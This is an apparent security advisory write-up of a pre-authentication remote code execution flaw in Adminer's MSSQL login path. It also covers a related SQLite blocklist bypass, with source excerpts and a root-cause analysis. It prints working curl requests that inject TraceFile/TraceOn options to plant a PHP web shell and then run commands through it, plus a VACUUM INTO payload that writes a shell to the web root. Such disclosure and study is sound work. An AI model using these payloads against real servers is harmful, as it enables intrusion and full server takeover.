Overview
- CVE ID: CVE-2026-56705
-
Target: Adminer (vrana/adminer), current stable
adminer-5.4.2.php - CVSS: 9.8 (Critical)
- Attack requirement: None — pre-authentication, over the network
-
Precondition:
pdo_sqlsrvextension + Microsoft ODBC Driver for SQL Server installed - Impact: Remote Code Execution
- Discovery: Voorivex Team (Yashar Shahinzadeh, Amirmohammad Safari), reported to the vendor on April 6, 2026
Adminer ships as a single PHP file that gets dropped straight into a web root. That convenience is also why it's such a common target: a login page sitting on the internet, indexed and scannable. This vulnerability lets an attacker drop arbitrary PHP into that same web root even when the login attempt itself fails.
Where the bug lives
Adminer takes driver, server, username, and password from the login form and hands them directly to each database driver's attach() function. Here's the MSSQL driver:
adminer/drivers/mssql.inc.php:185
if (extension_loaded("pdo_sqlsrv")) {
class Db extends MssqlDb {
public $extension = "PDO_SQLSRV";
function attach(string $server, string $username, string $password): string {
list($host, $port) = host_port($server);
return $this->dsn("sqlsrv:Server=$host" . ($port ? ",$port" : ""), $username, $password);
}
}
}
Two things go wrong here:
-
$hostis concatenated into the DSN string with zero escaping. -
host_port()only strips anything for the IPv6 bracket form ([::1]:1433) — everything else passes through untouched.
include/functions.inc.php:851
function host_port(string $server) {
return (preg_match('~^(\[(.+)]|([^:]+)):([^:]+)$~', $server, $match)
? array($match[2] . $match[3], $match[4])
: array($server, '')
);
}
Any input that doesn't match this pattern — which includes anything shaped like IP;option=value — falls through the regex and comes back exactly as submitted. So whatever an attacker types into the login form's server field lands, character for character, inside the DSN.
Why a single semicolon is enough
ODBC connection strings (DSNs) use a semicolon as the parameter delimiter. Put a semicolon in the server field and everything after it is parsed as a brand-new DSN option.
The two options that matter here are TraceFile and TraceOn. Turning them on makes the ODBC driver log the connection attempt itself to a file at the given path — regardless of whether the connection succeeds. And that log includes the full connection string, including the UID={...} field, which is populated straight from the username field on the login form.
That gives an attacker control over three things:
-
TraceFile→ the path and filename of the log file (shell.php) -
TraceOn=1→ turns tracing on -
username→ injects PHP code into theUID={...}field inside that log
The full payload, from attach() to PDO
dsn() calls new \PDO($dsn, $username, $password, $options) directly, in pdo.inc.php:13:
function dsn(string $dsn, string $username, string $password, array $options = array()): string {
$options[\PDO::ATTR_ERRMODE] = \PDO::ERRMODE_SILENT;
$options[\PDO::ATTR_STATEMENT_CLASS] = array('Adminer\PdoResult');
try {
$this->pdo = new \PDO($dsn, $username, $password, $options);
} catch (\Exception $ex) {
return $ex->getMessage();
}
...
}
So the entire chain — login form → attach() → dsn() → new PDO() — never once escapes or validates the input.
The actual request looks like this:
curl "http://target.tld/adminer.php" -L -c - \
-d "auth[driver]=mssql" \
-d "auth[server]=127.0.0.1;TraceFile=shell.php;TraceOn=1" \
--data-urlencode "auth[username]=<?php system(\$_GET['c']); ?>" \
-d "auth[password]=x"
When this hits the server, Adminer builds this DSN and hands it to PDO:
sqlsrv:Server=127.0.0.1;TraceFile=shell.php;TraceOn=1
The ODBC driver opens shell.php, writes the connection metadata into it (our PHP payload sitting inside UID={...}), then attempts to connect to 127.0.0.1 and fails. The failure doesn't matter — shell.php already exists next to adminer.php.
One more request finishes the job:
curl "http://target.tld/shell.php?c=id"
# uid=33(www-data) gid=33(www-data) groups=33(www-data)
Here's the full attack flow:
Why this is severe (the technical factors)
- Pre-auth: the login attempt is designed to fail. No valid MSSQL credentials, and no reachable MSSQL server, are required.
- Timing of the write: the file gets written during the ODBC driver's connection attempt, not inside Adminer's own auth logic — so there's no application-level checkpoint that could intercept it.
-
Precondition:
pdo_sqlsrvplus the Microsoft ODBC Driver, which is exactly what you get on hosts talking to Azure SQL Database or an MS SQL Server backend. - Writable web root: the default in a lot of containerized PHP deployments.
The same shape exists in the sibling pdo_dblib branch (mssql.inc.php:195, DSN template dblib:charset=utf8;host=$host) — the original report notes they didn't have a reachable dblib install to confirm a working gadget there, but the code path is identical.
A related case: bypassing the SQLite blocklist
A third issue reported alongside this one, in the same codebase, follows a similar shape and is worth a quick look. Adminer already knows that ATTACH DATABASE 'shell.php' is a classic SQLite-to-PHP-shell primitive, so it blocks it:
adminer/sql.inc.php:121
if (JUSH == "sqlite" && preg_match("~^$space*+ATTACH\\b~i", $q, $match)) {
echo "<p class='error'>" . lang('ATTACH queries are not supported.') . "\n";
}
The problem: VACUUM INTO 'path', available since SQLite 3.27.0, does almost exactly the same thing — it writes the current database out to an arbitrary path with an arbitrary extension. The blocklist regex only matches queries starting with ATTACH, so a query starting with VACUUM sails right through.
CREATE TABLE "<?php system($_GET['c']); ?>" (i int);
VACUUM INTO '/var/www/html/shell.php';
The table name carries the PHP payload, and VACUUM INTO dumps the whole database into a .php file. PHP's parser finds the <?php ... ?> block sitting in the middle of the binary SQLite content and executes it. This path requires authentication, so it's less severe than the MSSQL bug, but SQLite-backed Adminer instances are often left with default or empty credentials — so the practical risk is still meaningful.
The common root cause
All three issues share the same pattern:
- User input is passed to a downstream system (ODBC, a version-string regex, a SQL blocklist) with no trust boundary in between.
- A partial-match regex, on failure, returns the raw input instead of a safe default.
- Blocklist-based defenses don't keep up with new syntax (like
VACUUM INTO).
host_port() returning the original string when its regex doesn't match, the SQLite blocklist only catching ATTACH\b, and (in a related XSS bug in the same audit) a version-string regex falling back to the raw value on a failed match — all three bugs share the exact same failure mode: match failure means the input passes through unmodified.



Top comments (0)